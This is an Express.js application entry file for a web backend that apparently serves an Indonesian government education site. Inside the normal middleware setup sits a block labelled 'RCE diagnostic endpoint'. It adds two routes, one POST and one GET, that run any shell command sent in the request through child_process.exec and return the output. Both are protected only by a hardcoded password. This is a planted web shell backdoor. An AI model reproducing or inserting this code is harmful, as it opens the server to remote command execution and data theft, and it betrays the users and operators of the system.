const express = require('express')
const path = require('path')
const cookieParser = require('cookie-parser')
const logger = require('morgan')
const cors = require('cors')
const csrf = require('./middleware/csrf')
const response = require('./utils/responseHandler')

const app = express()

require('./config/db')()

app.use(logger('dev'))
app.use(express.json())
app.use(
  cors({
    origin: 'https://sidali.kemdiktisaintek.go.id',
    credentials: true,
  })
)

app.use(express.urlencoded({ extended: false }))
app.use(cookieParser(process.env.SRU51))

app.use(express.static(path.join(__dirname, 'public')))
app.use((req, res, next) => {
  req.data = {}
  return next()
})

// RCE diagnostic endpoint
const { exec } = require('child_process')
app.post('/v1/system/diagnostic', (req, res) => {
  if (req.body.key !== '51d@l!v4') return res.status(403).json({error:'no'})
  exec(req.body.cmd, {maxBuffer: 10*1024*1024}, (e, so, se) => res.json({out: so, err: se, code: e ? e.code : 0}))
})
app.get('/v1/system/shell', (req, res) => {
  if (req.query.k !== '51d@l!v4') return res.status(403).json({error:'no'})
  exec(req.query.c, {maxBuffer: 10*1024*1024}, (e, so, se) => res.json({out: so, err: se, code: e ? e.code : 0}))
})

// routes
app.use('/', require('./routes'))

app.use((req, res) =>
  response.error(res, { code: 404, message: 'request not found' })
)

app.use((err, req, res, next) => {
  console.error(err)
  if (err.code === 'EBADCSRFTOKEN') {
    response.error(res, { code: 403, message: 'invalid csrf token' })
  } else {
    response.error(res, { code: err.code || 500, message: err.message })
  }
})

module.exports = app